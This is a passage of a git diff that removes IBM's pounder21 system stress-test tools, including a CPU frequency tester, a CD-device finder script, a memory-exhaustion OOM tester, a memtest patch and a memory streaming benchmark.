-		note_child(pid, buf, namelist[i]->d_name[0]);
-
-		free(namelist[i]);
-	}
-	free(namelist);
-
-	/* wait for remaining runners */
-	children_ok &= wait_for_pids();
-	if (children_ok == 0) {
-		result |= 2;
-	}
-
-	pounder_fprintf(stdout, "%s: Leaving directory.\n", fname);
-
-	return result;
-}
diff --git a/tools/pounder21/schedulers/default-tests.tar.gz b/tools/pounder21/schedulers/default-tests.tar.gz
deleted file mode 100644
index ac20bc9..0000000
--- a/tools/pounder21/schedulers/default-tests.tar.gz
+++ /dev/null
Binary files differ
diff --git a/tools/pounder21/schedulers/fast-tests.tar.gz b/tools/pounder21/schedulers/fast-tests.tar.gz
deleted file mode 100644
index 5984a5c..0000000
--- a/tools/pounder21/schedulers/fast-tests.tar.gz
+++ /dev/null
Binary files differ
diff --git a/tools/pounder21/schedulers/test-tests.tar.gz b/tools/pounder21/schedulers/test-tests.tar.gz
deleted file mode 100644
index ddff53e..0000000
--- a/tools/pounder21/schedulers/test-tests.tar.gz
+++ /dev/null
Binary files differ
diff --git a/tools/pounder21/src/cpufreq/Makefile b/tools/pounder21/src/cpufreq/Makefile
deleted file mode 100644
index b2a1ed0..0000000
--- a/tools/pounder21/src/cpufreq/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-# Makefile for CPU frequency tester
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-#
-
-
-CFLAGS += -O3 -Wall
-bins = cpufreq.bin
-
-all: ${bins}
-
-cpufreq.bin: cpufreq.c
-	$(CC) $(CFLAGS) -o cpufreq.bin $<
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/cpufreq/cpufreq.c b/tools/pounder21/src/cpufreq/cpufreq.c
deleted file mode 100644
index 714f1a3..0000000
--- a/tools/pounder21/src/cpufreq/cpufreq.c
+++ /dev/null
@@ -1,193 +0,0 @@
-/**
- * Program to exercise CPU frequency switching via sysfs.
- * You probably want to turn on userspace switching and disable
- * powernowd/cpuspeed/powersaved programs.
- */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <stdlib.h>
-
-static unsigned int cpunum = 0;
-
-static int check_writable(const char *fname)
-{
-	int fd;
-
-	fd = open(fname, O_WRONLY);
-	if (fd >= 0)
-		close(fd);
-
-	return fd >= 0;
-}
-
-static int seed_random(void)
-{
-	int fp;
-	long seed;
-
-	fp = open("/dev/urandom", O_RDONLY);
-	if (fp < 0) {
-		perror("/dev/urandom");
-		return 0;
-	}
-
-	if (read(fp, &seed, sizeof(seed)) != sizeof(seed)) {
-		perror("read random seed");
-		return 0;
-	}
-
-	close(fp);
-	srand(seed);
-
-	return 1;
-}
-
-static unsigned int get_randnum(unsigned int max)
-{
-	return (unsigned int)((float)max * (rand() / (RAND_MAX + 1.0)));
-}
-
-static int set_cpuspeed(const char *ctrlfile, unsigned int speed)
-{
-	int fd, x;
-	unsigned int y;
-	char buf[256];
-
-	/* First try to write a new speed. */
-	fd = open(ctrlfile, O_WRONLY);
-	if (fd < 0) {
-		perror(ctrlfile);
-		return 0;
-	}
-
-	printf("CPU %d speed set to %u kHz.\n", cpunum, speed);
-	fflush(stdout);
-
-	x = snprintf(buf, 256, "%u\n", speed);
-	x = write(fd, buf, x);
-
-	if (x == 0) {
-		perror("Setting new speed");
-		close(fd);
-		return 0;
-	}
-	close(fd);
-
-	/* Sleep for a while */
-	usleep(500000);
-
-	/* Now try to read the speed */
-	fd = open(ctrlfile, O_RDONLY);
-	if (fd < 0) {
-		perror(ctrlfile);
-		return 0;
-	}
-
-	x = read(fd, buf, 256);
-	if (x == 0) {
-		perror("Reading speed");
-		close(fd);
-		return 0;
-	}
-	close(fd);
-
-	y = atoi(buf);
-	if (y != speed) {
-		printf("ERROR: Set CPU %d speed to %u but speed is now %u!\n",
-		       cpunum, speed, y);
-		fflush(stdout);
-		return -1;
-	}
-
-	return 1;
-}
-
-int main(int argc, char *argv[])
-{
-	const char *ctrl;
-	unsigned int rounds;
-	unsigned int *frequencies;
-	int y;
-	unsigned int x, num_freqs;
-	int ret = 0;
-
-	/* Usage: cpufreq control_file rounds [frequencies...] */
-	if (argc < 6) {
-		printf
-		    ("Usage: %s control_file rounds cpunum [frequencies...]\n",
-		     argv[0]);
-		ret = 1;
-		goto out;
-	}
-
-	/* copy command line args */
-	ctrl = argv[1];
-	if (!check_writable(ctrl)) {
-		perror(ctrl);
-		ret = 2;
-		goto out;
-	}
-
-	rounds = atoi(argv[2]);
-	cpunum = atoi(argv[3]);
-
-	num_freqs = argc - 4;
-	frequencies = calloc(num_freqs, sizeof(unsigned int));
-	if (frequencies == NULL) {
-		perror("Error allocating memory");
-		ret = 3;
-		goto out;
-	}
-
-	for (x = 4; x < argc; x++) {
-		frequencies[x - 4] = atoi(argv[x]);
-	}
-
-	/* Now run program. */
-	printf("Running %u loops with these %d frequencies:\n", rounds,
-	       num_freqs);
-	for (x = 0; x < num_freqs; x++) {
-		printf("%u KHz\n", frequencies[x]);
-	}
-
-	fflush(stdout);
-
-	seed_random();
-
-	for (x = rounds; x > 0; x--) {
-		y = get_randnum(num_freqs);
-		y = set_cpuspeed(ctrl, frequencies[y]);
-		if (y != 1) {
-			ret = 4;
-			goto out;
-		}
-	}
-
-out:
-	printf("Exiting with return code %d.\n", ret);
-	fflush(stdout);
-	return ret;
-}
diff --git a/tools/pounder21/src/dump_xserver_statm b/tools/pounder21/src/dump_xserver_statm
deleted file mode 100755
index 8d0538a..0000000
--- a/tools/pounder21/src/dump_xserver_statm
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/bin/bash
-
-# Dump X11 server statm data
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-while true; do
-	cat /proc/`ps -ef | grep "$XSERVER_FILE :2" | egrep -v "(timed_loop|grep)" | awk '{print $2}'`/statm >> $POUNDER_LOGDIR/xserver_statm
-	echo "---------------------------------------" >> $POUNDER_LOGDIR/xserver_statm
-	echo "Running."
-	sleep 10
-done
diff --git a/tools/pounder21/src/libidecd.sh b/tools/pounder21/src/libidecd.sh
deleted file mode 100755
index 9648574..0000000
--- a/tools/pounder21/src/libidecd.sh
+++ /dev/null
@@ -1,95 +0,0 @@
-#!/bin/bash
-
-# Library to find CD devices.
-#
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# Create a list of potential devices.  Note that this may pick up some non-block
-# devices; it is assumed that they will be filtered out by find_discs_with_media.
-function find_disc_devices() {
-	NUM_DEVICES=`/bin/ls $(egrep '(cdr|dvd)' /etc/fstab | awk -F " " '{print $1}') /dev/cdr* /dev/dvd* /dev/cdrom/* /dev/sr* 2> /dev/null | sort | uniq | wc -l`
-	if [ $NUM_DEVICES -lt 1 ]; then
-		# No CDs at all?
-		echo NONE
-	fi
-	/bin/ls $(egrep '(cdr|dvd)' /etc/fstab | awk -F " " '{print $1}') /dev/cdr* /dev/dvd* /dev/cdrom/* /dev/sr* 2> /dev/null | sort | uniq
-}
-
-# Try to find a disc with media in it.  Hopefully, $DEFAULT_MOUNT already exists.
-function find_discs_with_media() {
-	# If the caller doesn't specify a DEFAULT_MOUNT point, specify one.
-	if [ -z "$DEFAULT_MOUNT" ]; then
-		DEFAULT_MOUNT=/mnt
-	fi
-	POTENTIAL_DEVICES=`find_disc_devices`
-	# Grab a list of all CD/DVD devices that we can find.
-	for i in `echo "$POTENTIAL_DEVICES"`
-	do
-		# Did we get nothing at all?
-		if [ "$i" == "NONE" ]; then
-			echo NONE 0
-			return
-		fi
-
-		# Is this a link pointing to a device that's in the
-		# list of potential discs AND isn't in fstab?
-		# We want to avoid considering /dev entries that are symlinked
-		# elsewhere ... but we also assume that anything in fstab was
-		# put there for a reason and ought to be considered anyway.
-		if [ -L "$i" ]; then
-			IN_LIST=`echo "$POTENTIAL_DEVICES" | grep "$(readlink $i)" -c`
-			if [ $IN_LIST -gt 0 ]; then
-				IN_FSTAB=`grep "^$i[ 	]" /etc/fstab -c`
-				if [ $IN_FSTAB -eq 0 ]; then
-					continue;
-				fi
-			fi
-		fi
-
-		# Block device?
-		if [ -b "$i" ]; then
-			IN_FSTAB=`grep -c "^$i[ 	]" /etc/fstab`
-			FSTAB_TYPE=`grep "^$i[ 	]" /etc/fstab | awk -F " " '{print $3}'`
-			if [ $IN_FSTAB -gt 0 -a "$FSTAB_TYPE" != "subfs" ]; then
-				# This device is listed in fstab and is NOT of
-				# type "subfs" (SLES9 weirdness); try to mount it.
-				mount "$i" > /dev/null 2> /dev/null
-				RESULT=$?
-
-				if [ $RESULT -eq 0 ]; then
-					# Mounted ok!
-					umount "$i"
-					echo "$i" 1
-					continue
-				fi
-			fi
-
-			# Not in fstab, or the mount failed.
-			mount "$i" "$DEFAULT_MOUNT" -t auto > /dev/null 2> /dev/null
-			RESULT=$?
-
-			if [ $RESULT -eq 0 ]; then
-				# Mounted ok once we gave it options.
-				umount "$i"
-				echo "$i" 0
-				continue
-			fi
-		fi
-	done
-}
diff --git a/tools/pounder21/src/mem_alloc_test/Makefile b/tools/pounder21/src/mem_alloc_test/Makefile
deleted file mode 100644
index 85887a8..0000000
--- a/tools/pounder21/src/mem_alloc_test/Makefile
+++ /dev/null
@@ -1,26 +0,0 @@
-# Makefile for OOM tester
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-CFLAGS += -O3
-bins = mem_alloc
-
-all: ${bins}
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/mem_alloc_test/mem_alloc.c b/tools/pounder21/src/mem_alloc_test/mem_alloc.c
deleted file mode 100644
index 8694c88..0000000
--- a/tools/pounder21/src/mem_alloc_test/mem_alloc.c
+++ /dev/null
@@ -1,425 +0,0 @@
-/* ************************************************************************************
- *	mem_alloc.c
- *	@description : This program will consume memory using sbrk() to a size where
- *		       there is about COMMITED_AS KB left in free{swap+ram}.
- *		       The program realized that a process can consume so much memory,
- *		       space, so it will fork more child to consume as much as memory
- *		       possible, aiming for final free{swap+ram} < COMMITED_AS.
- *		       EXEPTION: If overcommit_momory is set, the program will only
- *			         consume as much as momory as oom-killer allows, and
- *				 will exit when then limit reached even the
- *				 free{swap+ram} not < COMMITTED_AS KB.
- *	@author	     : Sarunya Jimenez (sjimene@us.ibm.com)
- * ********************************************************************************** */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/sysinfo.h>
-#include <sys/mman.h>
-#include <errno.h>
-
-/////////////////////////// GLOBAL STATIC VAIRABLE FOR SIGNAL HANDLER /////////////////
-static volatile sig_atomic_t sigflag;	// set nonzero by sig handler
-static sigset_t newmask, oldmask, zeromask;
-////////////////////////////////////////////////////////////////////////////////////////
-
-//////////////////////////////// GLOBAL DEFINES ////////////////////////////////////////
-#define KB_VALUE        1024	// value in bytes -> 1024 bytes
-#define COMMITTED_AS  102400	// value in KB    -> 102400 KB -> 100MB
-#define MALLOC_SIZE   0x10000	// = 64KB... for each sbrk(MALLOC_SIZE) in
-					// malloc_data()
-					// MUST ALWAYS BE POSSITIVE VALUE
-#define PAGE_SIZE     0x400	// = 1024 KB
-/////////////////////////////////////////////////////////////////////////////////////////
-
-//////////////////////////////// GLOBAL VARIABLES ////////////////////////////////////////
-long sbrk_num;			// global sbrk_num to keep track of # of times sbrk() get called
-char *start_addr;		// heap @before a process allocate memory - get updated in eat_mem()
-char *end_addr;			// heap @after a process allocate memory  - get updated in alloc_data()
-			// and dealloc_data()
-//////////////////////////////////////////////////////////////////////////////////////////
-
-//////////////////////////////// ERROR HANDLING PRINT FUNCTIONS //////////////////////////
-/* ========================================================================================
- *	Print linux error message, will exit the current process.
- * ======================================================================================== */
-void unix_error(char *msg)
-{
-	printf("LINUX ERROR: %s: %s\n", msg, strerror(errno));
-	exit(0);
-}
-
-/* ========================================================================================
- *	Print functionality-error message for user process, will not exit the current process.
- * ======================================================================================== */
-void user_error(char *msg)
-{
-	printf("APPLICATION ERROR: %s\n", msg);
-}
-
-/////////////////////////////////////////////////////////////////////////////////////////////
-
-//////////////////////////// SIGNAL HANDLING FUNCTIONS ///////////////////////////////////////
-/* =====================================================================================
- *	One Signal Handler for SIGUSR1 and SIGUSR2.
- * ===================================================================================== */
-static void sig_usr(int signo)	// signal hanlder for SIGUSR1 and SIGUSR2
-{
-	sigflag = 1;
-}
-
-/* ========================================================================================
- *	SET UP signal handler before TELL_PARENT(), WAIT_PARENT(), TELL_CHILD(), WAIT_CHILD().
- *	- This function must be called before fork() and TELL/WAIT_PARENT/CHILD() functions.
- * ======================================================================================== */
-void TELL_WAIT(void)
-{
-	if (signal(SIGUSR1, sig_usr) == SIG_ERR)
-		unix_error("signal (SIGUSR1) FAILED");
-	if (signal(SIGUSR2, sig_usr) == SIG_ERR)
-		unix_error("signal (SIGUSR2) FAILED");
-
-	sigemptyset(&zeromask);
-	sigemptyset(&newmask);
-	sigaddset(&newmask, SIGUSR1);
-	sigaddset(&newmask, SIGUSR2);
-
-	if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0)
-		unix_error("signal (SIG_BLOCK) FAILED");
-}
-
-/* ========================================================================================
- *	TELL parent that we are done: used in child process.
- *	- This function must be called after TELL_WAIT() setup the SIGUSR1 & SIGUSR2 propery.
- *	- INPUT: parent process ID; can be obtained through getppid().
- * ======================================================================================== */
-void TELL_PARENT(pid_t pid)
-{
-	kill(pid, SIGUSR2);	// send signal SIGUSR2 to pid process
-}
-
-/* ========================================================================================
- *	TELL child that we are done: used in parent process.
- *	- This function must be called after TELL_WAIT() setup the SIGUSR1 & SIGUSR2 propery.
- *	- INPUT: child process ID; can be obtained through pid = fork() where pid > 0.
- * ======================================================================================== */
-void TELL_CHILD(pid_t pid)
-{
-	kill(pid, SIGUSR1);	// send signal SIGUSR1 to pid process
-}
-
-/* ========================================================================================
- *	WAIT for parent: used in child process.
- *	- This function must be called after TELL_WAIT() setup the SIGUSR1 & SIGUSR2 propery.
- * ======================================================================================== */
-void WAIT_PARENT(void)
-{
-	while (sigflag == 0)
-		sigsuspend(&zeromask);	// wait for child
-	sigflag = 0;
-
-	// reset signal mask to original value
-	if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)
-		unix_error("signal (SIG_SETMASK) FAILED");
-}
-
-/* ========================================================================================
- *	WAIT for child: used in parent process.
- *	- This function must be called after TELL_WAIT() setup the SIGUSR1 & SIGUSR2 propery.
- * ======================================================================================== */
-void WAIT_CHILD(void)
-{
-	while (sigflag == 0)
-		sigsuspend(&zeromask);	// wait for parent
-	sigflag = 0;
-
-	// reset signal mask to original value
-	if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)
-		unix_error("signal (SIG_SETMASK) FAILED");
-}
-
-/////////////////////////////////////////////////////////////////////////////////////////////
-
-/////////////////////////////////////// MEMORY ALLOCATION FUNCTIONS /////////////////////////
-/* =====================================================================================
- *	SET sbrk_num @start of each process to count # of sbrk() calls within that process.
- *	- INPUT: input number for globak sbrk_num to be set to.
- * ===================================================================================== */
-void set_sbrk_num(int in)
-{
-	sbrk_num = in;
-}
-
-/* ========================================================================================
- *	PRINT system information; e.g. free {ram, swap}, total {ram, swap}.
- * ======================================================================================== */
-void print_sysinfo(void)
-{
-	struct sysinfo si;
-	sysinfo(&si);
-
-	printf
-	    ("freeram (%luKB),  freeswap (%luKB), totalram (%luKB), totalswap (%luKB)\n",
-	     (si.freeram / KB_VALUE) * si.mem_unit,
-	     (si.freeswap / KB_VALUE) * si.mem_unit,
-	     (si.totalram / KB_VALUE) * si.mem_unit,
-	     (si.totalswap / KB_VALUE) * si.mem_unit);
-}
-
-/* ========================================================================================
- *	CALCULATE freeswap space.
- *	- OUTPUT: Return size of free swap space in KB.
- * ======================================================================================== */
-long unsigned freeswap(void)
-{
-	struct sysinfo si;
-	sysinfo(&si);
-
-	return ((si.freeswap / KB_VALUE) * si.mem_unit);
-}
-
-/* ========================================================================================
- *	CALCULATE freeram space.
- *	- OUTPUT: Return size of free ram space in KB.
- * ======================================================================================== */
-long unsigned freeram(void)
-{
-	struct sysinfo si;
-	sysinfo(&si);
-
-	return ((si.freeram / KB_VALUE) * si.mem_unit);
-}
-
-/* ========================================================================================
- *	ALLOCATE data using sbrk(incr).
- *  	- Global sbrk_num will be updated for each time calling sbrk() to increase heap size.
- *	- OUTPUT: Return 1 if success,
- *			 0 if failed, and will decrement the heap space for future library calls
- * ======================================================================================== */
-int malloc_data(void)
-{
-	int return_value = 0;	// default return = true;
-	intptr_t incr = MALLOC_SIZE;	// 64KB
-	char *src = NULL;	// to hold addr return from sbrk(incr)
-	long i;			// loop counter
-
-	src = sbrk(incr);
-
-	if (((void *)src == (void *)-1) && (errno == ENOMEM)) {	// error handling
-		src = sbrk(-(2 * incr));	// freeing some space for later library calls
-		sbrk_num -= 2;
-		end_addr = src + (-(2 * incr));	// update end of heap
-	} else {		// sucess case
-		// must write to data, write once for each 1KB
-		for (i = 0x0; i < incr; i += PAGE_SIZE)
-			src[i] = '*';
-		++sbrk_num;	// update global sbrk() call counter when success
-		return_value = 1;	// update return value to true
-		end_addr = src + incr;	// update end of heap
-	}
-
-	return return_value;
-}
-
-/* ========================================================================================
- *	DEALLOCATE data using sbrk(-incr).
- *  	- Global sbrk_num will be updated for each time calling sbrk() to decrease heap size.
- *	- OUTPUT: Return 1 if success,
- *			 0 if failed.
- * ======================================================================================== */
-int dealloc_data(void)
-{
-	int return_value = 0;	// default return = true
-	intptr_t incr = MALLOC_SIZE;	// 64KB
-	char *src = NULL;	// to hold adrr return from sbrk(incr)
-	long i;			// loop counter
-	long old_sbrk_num = sbrk_num;	// save old sbrk_num counter, because sbrk_num will be updated
-
-	for (i = 0; i < old_sbrk_num; ++i) {
-		src = sbrk(-incr);
-
-		// error handling: Fatal Fail
-		if (((void *)src == (void *)-1) && (errno == ENOMEM))
-			goto OUT;	// error
-
-		--sbrk_num;	// update # of sbrk() call
-		end_addr = src + (-incr);	// update end of heap
-	}
-	return_value = 1;	// update return value to true
-
-OUT:
-	return return_value;
-}
-
-/* ========================================================================================
- *	Write to the memory because of Copy-On-Write behavior from LINUX kernel.
- *	IDEA: Because fork() is implemented through Copy-On-Write. This technique
- *	      delay/prevent the copy of data, child & parent share memory, and their
- *	      duplication of the address of child & parent are shared read-only. For parent
- *	      & child to have its very own separate space, both must write to their own data.
- *	      So this function will deal with the write for the child process created
- *	      by fork().
- *	OUTPUT: Return 1 if success,
- *		       0 if failed.
- * ======================================================================================== */
-int handle_COW(void)
-{
-	int return_value = 0;	// default return = true
-	intptr_t incr = MALLOC_SIZE;	// 64KB
-	char *src = NULL;	// to hold adrr return from sbrk(incr)
-	char *i;		// loop counter
-
-	// error handling: Make sure the start_addr is not NULL
-	if (start_addr == NULL) {
-		user_error("start_addr from parent is not initialized");
-		goto OUT;
-	}
-	// error handling: Make sure the end_addr is not NULL
-	if (end_addr == NULL) {
-		user_error("end_addr from parent is not initialized");
-		goto OUT;
-	}
-	// Writing to heap
-	if (start_addr < end_addr) {	// Heap grows up to higher address
-		for (i = start_addr; i < end_addr; i += PAGE_SIZE) {
-			if ((freeswap() + freeram()) < COMMITTED_AS)
-				goto OUT;
-			*i = 'u';
-		}
-		return_value = 1;
-	} else if (start_addr > end_addr) {	// Heap grows down to lower address
-		for (i = end_addr; i > start_addr; i -= PAGE_SIZE) {
-			if ((freeswap() + freeram()) < COMMITTED_AS)
-				goto OUT;
-			*i = 'd';
-		}
-		return_value = 1;
-	} else;			// Heap doesn't grows
-
-OUT:
-	return return_value;
-}
-
-/* ========================================================================================
- *	EAT lots and lots of memory...
- *	- If a process can eat all of the free resouces
- *	  specified, that process will exit the program.
- * ======================================================================================== */
-void eat_mem(void)
-{
-	// saving the current heap pointer befoer start to allocate more memory
-	start_addr = NULL;
-	end_addr = NULL;
-	start_addr = sbrk(0);
-
-	// eating memory
-	while ((freeswap() + freeram()) > COMMITTED_AS) {
-		if (!malloc_data())
-			return;
-	}
-
-	print_sysinfo();
-	exit(0);
-}
-
-/* ========================================================================================
- *	EAT lots and lots of memory...If a process can eat all of the free resouces
- *	specified, that process will exit the program
- * ======================================================================================== */
-void eat_mem_no_exit(void)
-{
-	// saving the current heap pointer befoer start to allocate more memory
-	start_addr = NULL;
-	end_addr = NULL;
-	start_addr = sbrk(0);
-
-	// eating memory
-	while ((freeswap() + freeram()) > COMMITTED_AS) {
-		if (!malloc_data())
-			break;
-	}
-}
-
-///////////////////////////////////////////////////////////////////////////////////////////////////
-
-///////////////////////////////// MAIN PROGRAM ////////////////////////////////////////////////////
-int main(int argc, char **argv)
-{
-	pid_t pid;		// used for fork()
-	print_sysinfo();	// sytem resouces before start allocation
-	set_sbrk_num(0);	// at start of process, ensure sbrk_num is set
-	eat_mem();
-
-	// @beyound this point -> 1 process can't consume all memory so it must fork a child to consume more
-	// memory
-START:
-	pid = fork();
-	pid = pid < 0 ? -1 : pid;
-
-	switch (pid) {
-	case -1:
-		if (!dealloc_data())
-			unix_error
-			    ("SBRK(-incr) FROM DEALLOC_DATA() FAILED. FATAL!!!");
-		goto LAST_CONDITION;
-
-	case 0:
-		if (!handle_COW()) {	// Re-touch child pages
-			print_sysinfo();	// FINAL RESULT, LAST RESOURCES
-			exit(0);	// child can't allocate no more, DONE!!!
-		}
-		goto START;
-
-	default:
-		if (waitpid(-1, NULL, 0) != pid)	// Parent Waiting
-			unix_error("WAIT_PID FAILED. FATAL!!!");
-		exit(0);
-	}
-
-LAST_CONDITION:
-	TELL_WAIT();		// set up parent/child signal handler
-	pid = fork();
-	pid = pid < 0 ? -1 : pid;
-
-	switch (pid) {
-	case -1:
-		unix_error("FORK FAILED.");
-
-	case 0:
-		eat_mem_no_exit();
-		WAIT_PARENT();
-		print_sysinfo();	// FINAL RESULT, LAST RESOUCES
-		TELL_PARENT(getppid());
-		exit(0);
-
-	default:
-		eat_mem_no_exit();
-		TELL_CHILD(pid);
-		WAIT_CHILD();
-		exit(0);
-	}
-}
-
-///////////////////////////////////////////////////////////////////////////////////////////////////////////////
diff --git a/tools/pounder21/src/memtest.patch b/tools/pounder21/src/memtest.patch
deleted file mode 100644
index dd46b81..0000000
--- a/tools/pounder21/src/memtest.patch
+++ /dev/null
@@ -1,37 +0,0 @@
---- memtest.sh.orig	2004-09-16 11:29:13.000000000 -0700
-+++ memtest.sh	2004-09-16 11:30:50.000000000 -0700
-@@ -74,21 +74,21 @@
- cd $TEST_DIR
-
- # Remove any possible left over directories from a cancelled previous run
--rm -fr linux linux.orig linux.pass.*
-+rm -fr linux-2.6.18 linux.orig linux.pass.*
-
- # Unpack the one copy of the source tree that we will be comparing against
- tar -xzf $SOURCE_FILE
--mv linux linux.orig
-+mv linux-2.6.18 linux.orig
-
- i=0
- while [ "$i" -lt "$NR_PASSES" ]; do
- j=0
- while [ "$j" -lt "$NR_SIMULTANEOUS" ]; do
- if [ $PARALLEL = "yes" ]; then
--(mkdir $j; tar -xzf $SOURCE_FILE -C $j; mv $j/linux linux.pass.$j; rmdir $j) &
-+(mkdir $j; tar -xzf $SOURCE_FILE -C $j; mv $j/linux-2.6.18 linux.pass.$j; rmdir $j) &
- else
- tar -xzf $SOURCE_FILE
--mv linux linux.pass.$j
-+mv linux-2.6.18 linux.pass.$j
- fi
- j=`expr $j + 1`
- done
-@@ -108,7 +108,7 @@
- done
-
- # Clean up after ourselves
--rm -fr linux linux.orig linux.pass.*
-+rm -fr linux-2.6.18 linux.orig linux.pass.*
-
-
-
diff --git a/tools/pounder21/src/memxfer5b/Makefile b/tools/pounder21/src/memxfer5b/Makefile
deleted file mode 100644
index 172391b..0000000
--- a/tools/pounder21/src/memxfer5b/Makefile
+++ /dev/null
@@ -1,27 +0,0 @@
-# Makefile for memory streaming benchmark
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-CFLAGS += -O3
-bins = memxfer5b
-
-all: ${bins}
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/memxfer5b/memxfer5b.c b/tools/pounder21/src/memxfer5b/memxfer5b.c
deleted file mode 100644
index c762014..0000000
--- a/tools/pounder21/src/memxfer5b/memxfer5b.c
+++ /dev/null
@@ -1,338 +0,0 @@
-/* Memory streaming benchmark */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#define __int64 long long
-#include <sys/time.h>
-#define SLASHC		'/'
-#define SLASHSTR	"/"
-#include <sys/types.h>
-#include <string.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <ctype.h>
-
-#define equal !strcmp
-
-size_t atoik(char *);
-void *Malloc(size_t sz);
-void tstart(void);
-void tend(void);
-double tval(void);
-
-char *methods[] = {
-	"\"memcpy\"",
-	"\"char *\"",
-	"\"short *\"",
-	"\"int *\"",
-	"\"long *\"",
-	"\"__int64 *\"",
-	"\"double *\"",
-};
-
-int nmethods = sizeof(methods) / sizeof(methods[0]);
-
-int fflag = 0;			// if 0, then just Malloc once; else malloc/free each time
-int wflag = 0;			// if 1, call SetProcessWorkingSetSize() (WINDOWS ONLY)
-int sflag = 0;			// if 1, only print averages.
-int pflag = 0;
-int csvflag = 0;		// Print Comma separated list for spreadsheet input.
-char *progname;
-
-double tottim = 0.0;
-
-int main(int ac, char *av[])
-{
-	size_t size;
-	int i;
-	unsigned ui;
-	size_t j;
-	unsigned cnt;
-	int method = 0;
-	char *p1, *p2;
